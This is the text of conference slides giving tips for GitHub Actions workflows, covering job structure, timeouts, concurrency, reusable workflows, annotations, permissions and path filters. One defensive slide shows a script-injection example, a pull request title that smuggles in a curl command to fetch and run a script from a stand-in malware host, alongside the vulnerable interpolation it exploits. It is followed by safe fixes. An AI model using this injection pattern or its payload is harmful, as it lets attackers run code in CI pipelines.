GitHub Actions Workflows


Tips and Best Practices for
Streamlining Your CI/CD Pipelines





A talk by @thorstenfrommen

GitHub Actions

What Is GitHub Actions?

  • GitHub Actions is a continuous integration and continuous delivery (CI/CD) platform.
  • Automates workflows for building, testing, and deploying code.
  • Allows to streamline development processes directly from your GitHub repositories.

Why Use GitHub Actions?

  • Automatically build, test, and deploy code after every push or pull request.
  • Set up custom workflows for any development stage.
  • Built-in GitHub integration, no setup required.
  • Large library of pre-built actions and workflows from the GitHub community.

How to Use GitHub Actions?

GitHub Actions workflow overview.

GitHub Actions Workflow


name: GitHub Actions Demo

on: [push]

jobs:
  github-actions-demo:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo 'Event: ${{ github.event_name }}'
          echo 'Repository: ${{ github.repository }}'
          echo 'Branch: ${{ github.ref }}'

      - uses: actions/checkout@v4

      - run: |
          ls ${{ github.workspace }}
			

What to Use GitHub Actions For?

  • Check coding standards or static analysis.
  • Compile and build asset files or entire applications.
  • Execute dynamic tests (e.g., unit, E2E, a11y, performance, VRT).
  • Deploy web applications to Cloud environments.
  • What do you use it for?

Tips and Best Practices

Warning!

A woman holding a rifle that shoots a lot of food into a man's face.
(This is a shotgun buffet.)

Parallel Tasks


jobs:
  lint:
    uses: tfrommen/gha/lint-php@main

  coding-standards:
    uses: tfrommen/gha/coding-standards-php@main

  static-analysis:
    uses: tfrommen/gha/static-analysis-php@main
			

Sequential Tasks


jobs:
  php-quality-assurance:
    runs-on: ubuntu-latest
    steps:
      - uses: tfrommen/gha/lint-php@main

      - uses: tfrommen/gha/coding-standards-php@main

      - uses: tfrommen/gha/static-analysis-php@main
			

Sequential and Parallel Tasks


jobs:
  lint:
    uses: tfrommen/gha/lint-php@main

  coding-standards:
    uses: tfrommen/gha/coding-standards-php@main

  static-analysis:
    uses: tfrommen/gha/static-analysis-php@main
			

Sequential and Parallel Tasks


jobs:
  lint:
    uses: tfrommen/gha/lint-php@main

  coding-standards:
    needs: lint
    uses: tfrommen/gha/coding-standards-php@main

  static-analysis:
    needs: lint
    uses: tfrommen/gha/static-analysis-php@main
			

Setting a Timeout


jobs:
  php-quality-assurance:
    runs-on: ubuntu-latest
    steps:
      - uses: tfrommen/gha/lint-php@main

      - uses: tfrommen/gha/coding-standards-php@main
			

Setting a Timeout


jobs:
  php-quality-assurance:
    runs-on: ubuntu-latest
    timeout-minutes: 15
    steps:
      - uses: tfrommen/gha/lint-php@main

      - uses: tfrommen/gha/coding-standards-php@main
			

Setting a Timeout


jobs:
  php-quality-assurance:
    runs-on: ubuntu-latest
    steps:
      - timeout-minutes: 5
        uses: tfrommen/gha/lint-php@main

      - timeout-minutes: 10
        uses: tfrommen/gha/coding-standards-php@main
			

Canceling Obsolete Workflow Runs


concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true
			

Canceling Obsolete Workflow Runs


concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: ${{ !contains(github.ref, 'release/')}}
			

Scheduling Workflow Runs


on:
  schedule:
    - cron: '0 0 * * *'
			
  • Specify UTC times using the POSIX cron syntax.
  • Since * is a special character in YAML, you need to quote.
  • Example: Generating stubs for WordPress, inpsyde/wp-stubs.
  • Example: Custom Dependabot alternative (e.g., for private registries).

Manually Running a Workflow


on: workflow_dispatch
			
Screenshot showing a GitHub Actions workflow that has a workflow_dispatch event trigger.

Reusable Workflows


on: workflow_call
			
  • Original payload of the initially triggered workflows automatically passed.
  • Abstracting common tasks to avoid duplication and simplify maintenance.
  • Specify inputs and outputs to communicate with the past and the future.

Reusable Workflows

.github/workflows/my-workflow.yml:


jobs:
  my-workflow:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - uses: ./.github/workflows/my-reusable-workflow
			

.github/workflows/my-reusable-workflow.yml:


on: workflow_call

jobs:
  my-reusable-workflow:
    runs-on: ubuntu-latest
    steps:
      - ...
				

Composite Actions

.github/workflows/my-workflow.yml:


jobs:
  my-workflow:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - uses: ./.github/actions/my-action
			

.github/actions/my-action/action.yml:


name: My Custom Composite Action

runs:
  using: composite
  steps:
    - ...
				

Composite Actions

Debugging Workflow Runs


jobs:
  debug-workflow:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo "::debug::This is only visible in Debug Mode!"
			

Non-Exiting Scripts


jobs:
  script:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo "Starting..."
          some-command-that-fails
          echo "Done!"
			

Non-Exiting Scripts


jobs:
  script:
    runs-on: ubuntu-latest
    steps:
      - shell: bash {0}
        run: |
          echo "Starting..."
          some-command-that-fails
          echo "Done!"
			

Non-Exiting Scripts


jobs:
  script:
    runs-on: ubuntu-latest
    steps:
      - shell: bash {0}
        run: |
          some-command-that-fails
          CODE=$?
          # Maybe write to file, process data, send request etc.
          exit $CODE
			

Annotations

  • Add inline messages to any file.
  • Available types: notice, warning, and error.
  • Additional optional parameters such as title.
  • Syntax:
    
    ::<TYPE> file=<FILE>,line=<LINE>::<MESSAGE>
    					

jobs:
  annotate-readme:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo "::notice file=README.md,line=1::😍"
			

Annotations


jobs:
  annotate-parallel-lint:
    runs-on: ubuntu-latest
    steps:
      - shell: bash {0}
        run: |
          JSON=$(parallel-lint --json --no-colors --no-progress .)
          [[ "$JSON" =~ '"errors":[]' ]] && exit 0
          echo "$JSON" | jq -r '.results.errors[] | "::error file=\(.file),line=\(.line)::\(.message)"'
          exit 1
			

Job Summaries

  • Move relevant output from the terminal to a more prominent place.
  • Job summaries are useful for steps that do not include inline annotations.
  • Add information by writing to the $GITHUB_STEP_SUMMARY file.

jobs:
  summary:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo '### Hello world! :rocket:' >> $GITHUB_STEP_SUMMARY
			
Screenshot of a Job Summary on GitHub.

Pinning Third-Party Actions or Workflows


jobs:
  lint:
    uses: tfrommen/gha/lint-php@main

  coding-standards:
    uses: tfrommen/gha/coding-standards-php@v1

  static-analysis:
    uses: tfrommen/gha/static-analysis-php@1d6d001adedabdbfd3d8dbddfc7cc7f5e032882e
			

Specifying Permissions


permissions:
  actions: read|write|none
  attestations: read|write|none
  checks: read|write|none
  contents: read|write|none
  deployments: read|write|none
  id-token: write|none
  issues: read|write|none
  discussions: read|write|none
  packages: read|write|none
  pages: read|write|none
  pull-requests: read|write|none
  repository-projects: read|write|none
  security-events: read|write|none
  statuses: read|write|none
			

Specifying Permissions


permissions: {}
			


permissions:
  contents: read
  pull-requests: write
			

Path Filters (Native)

  • Restrict workflow run to specific changes.
  • Supported event triggers: push, pull_request, and pull_request_target.
  • Also possible to ignore specific paths.

on:
  push:
    paths:
      - '**.php'
      - '!tests/**'
			

Paths Filter (Action)


jobs:
  composer-validate:
    steps:
      - uses: actions/checkout@v4

      - uses: dorny/paths-filter@v2
        id: paths
        with:
          filters: |
            composer:
              - 'composer.json'
              - 'composer.lock'

      - if: ${{ steps.paths.outputs.composer == 'true' }}
        uses: ./.github/actions/setup-php

      - if: ${{ steps.paths.outputs.composer == 'true' }}
        run: composer validate --no-check-all --no-check-publish
			

Paths Filter (Action)


          filters: |
            workflows: &workflows
              - '.github/actions/**/*.yml'
              - '.github/workflows/**/*.yml'
            npm: &npm
              - *workflows
              - 'package.json'
              - 'package-lock.json'
            javascript:
              - *npm
              - '**/*.js'
              - '**/*.jsx'
            styles:
              - *npm
              - '**/*.css'
              - '**/*.scss'
			

Paths Filter (Action)


     - if: ${{ toJSON( steps.paths.outputs.changes ) != '"[]"' }}
        uses: ./.github/actions/setup-node

      - if: ${{ toJSON( steps.paths.outputs.changes ) != '"[]"' }}
        run: npm ci --no-progress --no-fund --no-audit --loglevel error

      - if: ${{ steps.paths.outputs.javascript == 'true' || steps.paths.outputs.npm == 'true' }}
        run: npm test

      - if: ${{ steps.paths.outputs.javascript == 'true' || steps.paths.outputs.styles == 'true' || steps.paths.outputs.npm == 'true' }}
        run: npm run build
			

Never Trust User Input


- run: |
    ./scripts/check-title.sh ${{github.event.pull_request.title}}
			

Do NOT do this!



"title" && curl https://malware.com/malware.sh && ./malware.sh
			

Never Trust User Input


- uses: tfrommen/gha/check-title@main
  with:
    title: ${{github.event.pull_request.title}}
			


- env:
    TITLE: ${{github.event.pull_request.title}}
  run: |
    ./scripts/check-title.sh $TITLE
			

Linting Workflow Files


name: Lint GitHub Actions workflows

on: [pull_request]

jobs:
  lint-workflows:
    uses: inpsyde/reusable-workflows/.github/workflows/lint-workflows.yml@main
			
Screenshot of actionlint output in terminal.

Using Dependabot for GitHub Actions

.github/dependabot.yml:


version: 2

updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"
			

Useful Actions

Useful Actions


You?

Useful Reusable Workflows

Useful Reusable Workflows

Questions?


Slides: slides.tfrommen.de/gha-wcka